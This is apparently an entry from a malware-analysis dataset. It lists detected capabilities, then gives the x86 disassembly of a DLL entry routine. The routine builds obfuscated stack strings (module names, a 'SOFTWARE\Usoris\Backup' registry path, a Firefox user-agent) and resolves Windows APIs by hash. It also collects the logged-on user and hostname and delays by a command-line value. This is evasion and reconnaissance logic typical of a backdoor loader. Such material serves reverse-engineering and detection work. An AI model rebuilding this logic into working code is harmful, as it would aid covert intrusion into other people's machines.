Function at 0x10006820
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Get common file path
Get hostname
Get session information
Get session user name
Parse pe header
Resolve function by parsing pe exports
Set current directory
Terminate process

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x37c
push ebx
push ebp
push esi
xor esi, esi
sub eax, esi
push edi
je 0x10007849
dec eax
jne 0x10007a49
mov eax, dword [esp + 0x390]
push eax
mov dword [0x10012050], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x20a
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
push 0x105
push eax
mov dword [0x1001233c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x10006881
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001233c]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
push eax
call ebx
lea ecx, [esp + 0x128]
xor eax, eax
push ecx
mov dword [esp + 0x12c], 0x65006b
mov dword [esp + 0x130], 0x6e0072
mov dword [esp + 0x134], 0x6c0065
mov dword [esp + 0x138], 0x320033
mov word [esp + 0x13c], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0xdc], eax
cmp eax, esi
jne 0x100068e5
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 2
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x341508dc
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x100123fc
mov dword [esp + 0x44], 0xc0c1bd8d
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], 0x10012410
call fcn.100059d0
mov ecx, dword [0x100123fc]
add esp, 0x10
push 0x20a
push 8
mov dword [0x10012364], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push eax
push esi
mov dword [0x100122e8], eax
call edi
mov edx, dword [0x100122e8]
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push edx
mov dword [0x10012348], eax
call ebp
push 0x20a
push 8
mov dword [0x10012334], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
push 0x104
push eax
mov dword [0x100122ec], eax
mov eax, dword [0x10012050]
push eax
call edi
push 0x20a
push 8
mov dword [0x10012358], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
mov ecx, dword [0x100122ec]
push ecx
push eax
mov dword [0x10012054], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [0x10012054]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [0x10012054]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [0x10012054]
push ecx
call ebx
mov eax, dword [0x100122e8]
mov edx, dword [0x100122ec]
mov dword [0x1001235c], eax
mov eax, dword [0x10012054]
push eax
mov dword [0x1001231c], edx
mov dword [0x100123cc], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [0x1001235c]
push 1
push esi
push ecx
mov dword [0x100122c8], eax
call fcn.1000cc80
mov dword [0x10012368], eax
mov dword [esp + 0x108], 0x74006e
push esi
lea edx, [esp + 0x10c]
push esi
push edx
mov dword [esp + 0x118], 0x6c0064
mov dword [esp + 0x11c], 0x6c
call fcn.1000cdd0
add esp, 0x18
cmp eax, esi
jne 0x10006a67
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xff000000
push 1
lea ecx, [esp + 0x18]
push ecx
push eax
mov dword [esp + 0x20], 0x8c210360
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0x100120b0
call fcn.100059d0
mov edx, dword [0x100122ec]
add esp, 0x10
push edx
call ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push eax
mov eax, dword [0x1001233c]
push eax
lea ecx, [esp + 0x188]
push 0x1000e420
push ecx
call ebp
add esp, 0x10
lea edx, [esp + 0x180]
push edx
call dword [0x10012364]
mov dword [0x1001256c], eax
cmp eax, esi
jne 0x10006ada
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10012050]
push eax
call fcn.1000b830
add esp, 4
push 0x11c
push 0x10012450
call sub.NTDLL.dll_RtlZeroMemory
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xec]
push edx
lea eax, [esp + 0xec]
push eax
mov dword [0x10012450], 0x11c
mov dword [esp + 0xf0], esi
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf8], esi
call sub.NTDLL.dll_RtlGetNtVersionNumbers
movzx eax, word [esp + 0xec]
mov ecx, dword [esp + 0xe4]
mov edx, dword [esp + 0xe8]
mov dword [0x10012454], ecx
mov dword [0x10012458], edx
mov dword [0x1001245c], eax
call fcn.10008f10
mov ecx, dword [0x10012368]
mov edx, 0x5a4d
mov dword [0x100120b4], eax
cmp word [ecx], dx
jne 0x10007a49
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x10007a49
mov edx, dword [edx + ecx + 0x58]
cmp edx, 0x13df7ca
jne 0x10006ba0
mov dword [0x10012390], 1
jmp 0x10006bb2
cmp edx, 0x3b75f
jne 0x10006bb2
mov dword [0x10012390], 3
push eax
call fcn.1000aca0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0xc8
push 8
mov dword [0x10012344], eax
call edi
push eax
call fcn.10004e00
mov dword [0x10012330], eax
cmp eax, esi
jne 0x10006be5
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov word [esp + 0x17c], cx
mov ecx, dword [0x10012344]
push 0x5c
push ecx
push str._s_c
push eax
mov dword [esp + 0x160], 0x4f0053
mov dword [esp + 0x164], 0x540046
mov dword [esp + 0x168], 0x410057
mov dword [esp + 0x16c], 0x450052
mov dword [esp + 0x170], 0x55005c
mov dword [esp + 0x174], 0x6f0073
mov dword [esp + 0x178], 0x690072
mov dword [esp + 0x17c], 0x5c0073
mov dword [esp + 0x180], 0x610042
mov dword [esp + 0x184], 0x6b0063
mov dword [esp + 0x188], 0x700075
call ebp
mov ecx, dword [0x10012330]
lea edx, [esp + 0x160]
push edx
lea edx, [ecx + eax*2]
push 0x1000e9d0
push edx
mov dword [0x100123a4], eax
call ebp
mov eax, dword [0x10012330]
mov ecx, dword [0x100123a4]
add esp, 0x1c
lea edx, [eax + ecx*2]
mov ecx, dword [0x100120b4]
lea eax, [esp + 0xe0]
push eax
push 0x10012338
push 5
push ecx
push esi
mov dword [0x100122e0], edx
mov dword [esp + 0xf4], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x10006d16
push 0x20a
push 8
call edi
push eax
call fcn.10004e00
mov dword [0x10012338], eax
cmp eax, esi
je 0x10006d20
lea edx, [esp + 0xe0]
push edx
push eax
mov dword [esp + 0xe8], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x10006d20
mov ecx, dword [0x10012338]
mov word [ecx], ax
jmp 0x10006d20
mov dword [0x100122cc], 1
mov eax, dword [0x100120b4]
lea edx, [esp + 0xd8]
push edx
push 0x100123e8
push 7
push eax
push esi
mov dword [esp + 0xec], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x10006d8a
push 0x20a
push 8
call edi
push eax
call fcn.10004e00
mov dword [0x100123e8], eax
cmp eax, esi
je 0x10006d94
lea ecx, [esp + 0xd8]
push ecx
push eax
push 3
mov dword [esp + 0xe4], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x10006d94
mov eax, dword [0x100123e8]
xor edx, edx
mov word [eax], dx
jmp 0x10006d94
mov dword [0x100120a0], 1
call fcn.10007b00
mov dword [0x10012318], eax
call fcn.10009900
mov dword [0x10012380], eax
call fcn.100032d0
mov dword [0x100123d8], eax
mov dword [0x100123c4], 0x1000e730
cmp dword [0x10012390], esi
je 0x10007a49
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 0xd4]
push ecx
push eax
mov dword [esp + 0xdc], esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
cmp ebx, esi
je 0x10006e7f
mov edx, dword [ebx]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov edx, dword [esp + 0xd4]
cmp edx, 1
jle 0x10006e78
mov edi, 1
lea eax, [edx - 1]
cmp edi, eax
jge 0x10006e38
mov eax, dword [ebx + edi*4]
cmp word [eax], 0x77
jne 0x10006e38
cmp word [eax + 2], si
jne 0x10006e38
mov ecx, dword [ebx + edi*4 + 4]
inc edi
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntW]
mov edx, dword [esp + 0xd4]
mov dword [0x1001239c], eax
jmp 0x10006e73
mov eax, dword [ebx + edi*4]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x10006e55
cmp word [eax + 2], si
jne 0x10006e55
mov dword [0x1001232c], 1
jmp 0x10006e73
cmp dword [0x10012390], 3
jne 0x10006e73
cmp ecx, 0x66
jne 0x10006e73
cmp word [eax + 2], si
jne 0x10006e73
mov dword [0x10012414], 1
inc edi
cmp edi, edx
jl 0x10006e08
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x1001239c], esi
jle 0x10006ea6
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ecx]
push 0x3e8
call edi
mov eax, dword [0x1001239c]
dec eax
mov dword [0x1001239c], eax
cmp eax, esi
jg 0x10006e90
push 0x208
push 8
mov edi, 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
mov dword [0x1001230c], eax
cmp eax, esi
je 0x10006fb1
mov edx, dword [0x10012458]
mov ecx, dword [0x10012454]
push edx
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x6f004d
mov dword [esp + 0x38], 0x69007a
mov dword [esp + 0x3c], 0x6c006c
mov dword [esp + 0x40], 0x2f0061
mov dword [esp + 0x44], 0x2e0035
mov dword [esp + 0x48], 0x200030
mov dword [esp + 0x4c], 0x570028
mov dword [esp + 0x50], 0x6e0069
mov dword [esp + 0x54], 0x6f0064
mov dword [esp + 0x58], 0x730077
mov dword [esp + 0x5c], 0x4e0020
mov dword [esp + 0x60], 0x200054
mov dword [esp + 0x64], 0x750025
mov dword [esp + 0x68], 0x25002e
mov dword [esp + 0x6c], 0x290075
mov dword [esp + 0x70], 0x460020
mov dword [esp + 0x74], 0x720069
mov dword [esp + 0x78], 0x660065
mov dword [esp + 0x7c], 0x78006f
mov dword [esp + 0x80], 0x37002f
mov dword [esp + 0x84], 0x2e0038
mov dword [esp + 0x88], 0x30
call ebp
mov eax, dword [0x1001230c]
push esi
push esi
push esi
push esi
push eax
call fcn.10006170
add esp, 0x24
mov dword [0x10012078], eax
cmp dword [0x10012390], edi
jne 0x10007000
mov eax, dword [0x10012344]
mov ecx, dword [0x10012338]
mov edx, dword [0x100123e8]
push eax
push 0x10012450
mov dword [0x10012324], ecx
mov dword [0x10012374], edx
call fcn.10004410
xor edx, edx
mov ecx, SysReAllocString
div ecx
push edi
mov dword [0x100120a8], edx
mov edx, dword [0x10012054]
push edx
call fcn.1000b780
add esp, 0x10
call fcn.10009ae0
test eax, eax
je 0x10007010
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x10012390], edi
mov dword [0x100125bc], edi
mov edi, dword [esp + 0xdc]
mov ebx, 0x10002350
mov ebp, 0x10012314
jne 0x1000754b
push 0x631143df
push 1
lea eax, [esp + 0x2c]
push eax
push edi
mov dword [esp + 0x34], 0x4d4177d4
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10012310
call fcn.100059d0
add esp, 0x10
call fcn.100032c0
push eax
call fcn.100060c0
push 0x631143df
push 0xb
lea ecx, [esp + 0x30]
push ecx
push edi
mov dword [0x100123e0], eax
mov dword [esp + 0x38], 0xbcceb12b
mov dword [esp + 0x3c], 0x10007c20
mov dword [esp + 0x40], 0x10012384
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x5e2e2340
mov dword [esp + 0x4c], 0x100066e0
mov dword [esp + 0x50], 0x1001207c
mov dword [esp + 0x54], esi
mov dword [esp + 0x58], 0x9f7a012e
mov dword [esp + 0x5c], 0x100088f0
mov dword [esp + 0x60], 0x10012064
mov dword [esp + 0x64], esi
mov dword [esp + 0x68], 0xa2e2fba9
mov dword [esp + 0x6c], 0x10002600
mov dword [esp + 0x70], 0x10012080
mov dword [esp + 0x74], esi
mov dword [esp + 0x78], 0xa7a5ea92
mov dword [esp + 0x7c], 0x10004c50
mov dword [esp + 0x80], 0x10012300
mov dword [esp + 0x84], esi
mov dword [esp + 0x88], 0xc2feaaf6
mov dword [esp + 0x8c], 0x10006430
mov dword [esp + 0x90], 0x10012070
mov dword [esp + 0x94], esi
mov dword [esp + 0x98], 0xf6353ee6
mov dword [esp + 0x9c], 0x1000cdf0
mov dword [esp + 0xa0], 0x10012060
mov dword [esp + 0xa4], esi
mov dword [esp + 0xa8], 0x3f942f98
mov dword [esp + 0xac], 0x10004190
mov dword [esp + 0xb0], 0x100123e4
mov dword [esp + 0xb4], esi
mov dword [esp + 0xb8], 0xaddfba77
mov dword [esp + 0xbc], 0x10004890
mov dword [esp + 0xc0], 0x100123c0
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc8], 0xbaa3474b
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xd0], ebp
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd8], 0x16884023
mov dword [esp + 0xdc], 0x10002920
mov dword [esp + 0xe0], 0x10012088
mov dword [esp + 0xe4], esi
call fcn.10002aa0
push esi
lea eax, [esp + 0x130]
xor edx, edx
push 0x100122e4
push eax
mov dword [esp + 0x138], 0x730075
mov dword [esp + 0x13c], 0x720065
mov dword [esp + 0x140], 0x320033
mov word [esp + 0x144], dx
call fcn.1000cdd0
add esp, 0x20
mov dword [0x100120ac], eax
cmp eax, esi
je 0x10007366
push 0x631143df
push 8
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xa5126c5b
mov dword [esp + 0x38], 0x10002090
mov dword [esp + 0x3c], 0x1001204c
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0xb624fee8
mov dword [esp + 0x48], 0x1000b050
mov dword [esp + 0x4c], 0x100122f4
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x288d34a4
mov dword [esp + 0x58], 0x1000cdc0
mov dword [esp + 0x5c], 0x100122d0
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x343c1e51
mov dword [esp + 0x68], 0x100059b0
mov dword [esp + 0x6c], 0x10012398
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0xc0e8ab00
mov dword [esp + 0x78], 0x10003770
mov dword [esp + 0x7c], 0x100123b0
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0xc442ac10
mov dword [esp + 0x88], 0x1000ab50
mov dword [esp + 0x8c], 0x100123c8
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xa2578f57
mov dword [esp + 0x98], 0x100062f0
mov dword [esp + 0x9c], 0x100122f0
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0xf184d6f6
mov dword [esp + 0xa8], 0x10003b30
mov dword [esp + 0xac], 0x100123a0
mov dword [esp + 0xb0], esi
call fcn.10002aa0
add esp, 0x10
push esi
lea ecx, [esp + 0x14]
push 0x10012094
push ecx
mov dword [esp + 0x1c], 0x680073
mov dword [esp + 0x20], 0x6c0065
mov dword [esp + 0x24], 0x33006c
mov dword [esp + 0x28], 0x32
call fcn.1000cdd0
add esp, 0xc
mov dword [0x100122d8], eax
cmp eax, esi
je 0x1000740b
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc7ee492e
mov dword [esp + 0x38], 0x1000cde0
mov dword [esp + 0x3c], 0x1001238c
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5c981f54
mov dword [esp + 0x48], 0x10004200
mov dword [esp + 0x4c], 0x1001205c
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xa47468e0
mov dword [esp + 0x58], 0x1000ad80
mov dword [esp + 0x5c], 0x100125a8
mov dword [esp + 0x60], esi
call fcn.10002aa0
add esp, 0x10
push esi
lea ecx, [esp + 0x10c]
xor eax, eax
push 0x10012098
push ecx
mov dword [esp + 0x114], 0x730077
mov dword [esp + 0x118], 0x5f0032
mov dword [esp + 0x11c], 0x320033
mov word [esp + 0x120], ax
call fcn.1000cdd0
add esp, 0xc
mov dword [0x10012360], eax
cmp eax, esi
je 0x100074be
push 0x631143df
push 3
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0x25ddb08c
mov dword [esp + 0x38], 0x1000c8e0
mov dword [esp + 0x3c], 0x100123a8
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x99d55537
mov dword [esp + 0x48], 0x10004250
mov dword [esp + 0x4c], 0x100125ac
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0x17debac0
mov dword [esp + 0x58], 0x10006130
mov dword [esp + 0x5c], 0x1001209c
mov dword [esp + 0x60], esi
call fcn.10002aa0
add esp, 0x10
push esi
lea eax, [esp + 0xf4]
push 0x10012308
push eax
mov dword [esp + 0xfc], 0x690077
mov dword [esp + 0x100], 0x6d006e
mov dword [esp + 0x104], 0x6d
call fcn.1000cdd0
add esp, 0xc
mov dword [0x100122f8], eax
cmp eax, esi
je 0x1000754b
push 0x631143df
push 2
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0x9d27ac39
mov dword [esp + 0x38], 0x1000b7c0
mov dword [esp + 0x3c], 0x1001237c
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x5789c82b
mov dword [esp + 0x48], 0x1000c9d0
mov dword [esp + 0x4c], 0x1001208c
mov dword [esp + 0x50], esi
call fcn.10002aa0
add esp, 0x10
push esi
lea edx, [esp + 0x140]
xor ecx, ecx
push 0x100123f4
push edx
mov dword [esp + 0x148], 0x640061
mov dword [esp + 0x14c], 0x610076
mov dword [esp + 0x150], 0x690070
mov dword [esp + 0x154], 0x320033
mov word [esp + 0x158], cx
call fcn.1000cdd0
add esp, 0xc
mov dword [0x100122fc], eax
cmp eax, esi
je 0x10007749
cmp dword [0x10012390], 1
jne 0x1000771c
push 0x631143df
push 0xa
lea ecx, [esp + 0x2c]
push ecx
push eax
mov dword [esp + 0x34], 0xc3109516
mov dword [esp + 0x38], 0x10005cf0
mov dword [esp + 0x3c], 0x1001234c
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x56ff8c5d
mov dword [esp + 0x48], 0x10008e00
mov dword [esp + 0x4c], 0x100123ec
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], 0xd41bd247
mov dword [esp + 0x58], 0x100060f0
mov dword [esp + 0x5c], 0x10012350
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], 0x4e422a93
mov dword [esp + 0x68], 0x10008a70
mov dword [esp + 0x6c], 0x100120bc
mov dword [esp + 0x70], esi
mov dword [esp + 0x74], 0x7b817146
mov dword [esp + 0x78], 0x10004370
mov dword [esp + 0x7c], 0x100123d0
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], 0x842db31e
mov dword [esp + 0x88], 0x100024a0
mov dword [esp + 0x8c], 0x100123ac
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xdd30a549
mov dword [esp + 0x98], 0x10005200
mov dword [esp + 0x9c], 0x100123dc
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], 0x85b69c83
mov dword [esp + 0xa8], 0x10008860
mov dword [esp + 0xac], 0x10012388
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], 0xf1bdc0d7
mov dword [esp + 0xb8], 0x100087f0
mov dword [esp + 0xbc], 0x10012304
mov dword [esp + 0xc0], esi
mov dword [esp + 0xc4], 0x59797a4f
mov dword [esp + 0xc8], 0x10008100
mov dword [esp + 0xcc], 0x10012400
mov dword [esp + 0xd0], esi
call fcn.10002aa0
jmp 0x10007746
push 0xff000000
push 1
lea edx, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x34], 0xc5683990
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], 0x10012400
call fcn.100059d0
add esp, 0x10
cmp dword [0x10012390], 1
jne 0x100077bc
push esi
lea eax, [esp + 0x14]
xor edx, edx
push 0x100122dc
push eax
mov dword [esp + 0x1c], 0x690077
mov dword [esp + 0x20], 0x74006e
mov dword [esp + 0x24], 0x750072
mov dword [esp + 0x28], 0x740073
mov word [esp + 0x2c], dx
call fcn.1000cdd0
add esp, 0xc
mov dword [0x10012040], eax
cmp eax, esi
je 0x100077e5
push 0x631143df
push 1
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], 0xc7f3ad14
mov dword [esp + 0x34], 0x10007c10
mov dword [esp + 0x38], 0x10012068
push eax
jmp 0x100077d9
push 0x631143df
push 1
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x30], 0xbaa3474b
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebp
push edi
mov dword [esp + 0x40], esi
call fcn.10002aa0
add esp, 0x10
push esi
call fcn.100082b0
test eax, eax
je 0x100077f6
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x10012390], 1
mov dword [0x100125bc], 2
jne 0x10007a49
mov eax, dword [0x100122e0]
push esi
push 0x10012370
push esi
xor ecx, ecx
cmp dword [0x10012318], esi
push 0xf013f
push esi
setne cl
push esi
push esi
push eax
add ecx, 0x80000001
push ecx
call dword [0x1001234c]
test eax, eax
je 0x10007a49
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1001233c]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp eax, esi
je 0x10007862
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x10012054]
cmp eax, esi
je 0x10007875
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x100122ec]
cmp eax, esi
je 0x10007888
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x100122e8]
cmp eax, esi
je 0x1000789b
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x1001256c]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, esi
je 0x100078ad
push eax
call ebx
mov eax, dword [0x10012344]
cmp eax, esi
je 0x100078bd
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x10012330]
cmp eax, esi
je 0x100078d0
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x10012338]
cmp eax, esi
je 0x100078f2
push eax
cmp dword [0x100122cc], esi
je 0x100078e9
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x100078f2
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x100123e8]
cmp eax, esi
je 0x10007914
push eax
cmp dword [0x100120a0], esi
je 0x1000790b
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x10007914
push esi
call edi
push eax
call fcn.1000c9e0
cmp dword [0x10012390], esi
je 0x10007a49
cmp dword [0x100125bc], 2
jne 0x1000792f
push esi
call fcn.10003b40
cmp dword [0x100125bc], esi
jle 0x1000793c
call fcn.10006660
mov eax, dword [0x100120ac]
cmp eax, esi
je 0x10007950
cmp dword [0x100122e4], esi
je 0x10007950
push eax
call ebx
mov eax, dword [0x100122d8]
cmp eax, esi
je 0x10007964
cmp dword [0x10012094], esi
je 0x10007964
push eax
call ebx
mov eax, dword [0x100122fc]
cmp eax, esi
je 0x10007978
cmp dword [0x100123f4], esi
je 0x10007978
push eax
call ebx
mov eax, dword [0x10012040]
cmp eax, esi
je 0x1000798c
cmp dword [0x100122dc], esi
je 0x1000798c
push eax
call ebx
mov eax, dword [0x10012360]
cmp eax, esi
je 0x100079a0
cmp dword [0x10012098], esi
je 0x100079a0
push eax
call ebx
mov eax, dword [0x100122f8]
cmp eax, esi
je 0x100079b4
cmp dword [0x10012308], esi
je 0x100079b4
push eax
call ebx
mov eax, dword [0x100123b4]
cmp eax, esi
je 0x100079c8
cmp dword [0x100123d4], esi
je 0x100079c8
push eax
call ebx
mov eax, dword [0x10012370]
cmp eax, esi
je 0x100079d8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x1001230c]
cmp eax, esi
je 0x100079eb
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x10012078]
cmp eax, esi
je 0x100079fe
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov eax, dword [0x10012084]
cmp eax, esi
je 0x10007a11
push eax
push esi
call edi
push eax
call fcn.1000c9e0
mov edi, 0x10012598
mov eax, dword [edi]
cmp eax, esi
je 0x10007a22
push eax
call sub.NTDLL.dll_NtClose
add edi, 4
cmp edi, 0x100125a4
jl 0x10007a16
mov eax, dword [0x10012328]
cmp eax, esi
je 0x10007a49
push esi
push eax
call sub.NTDLL.dll_NtTerminateThread
mov edx, dword [0x10012328]
push edx
call sub.NTDLL.dll_NtClose
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x37c
ret 0xc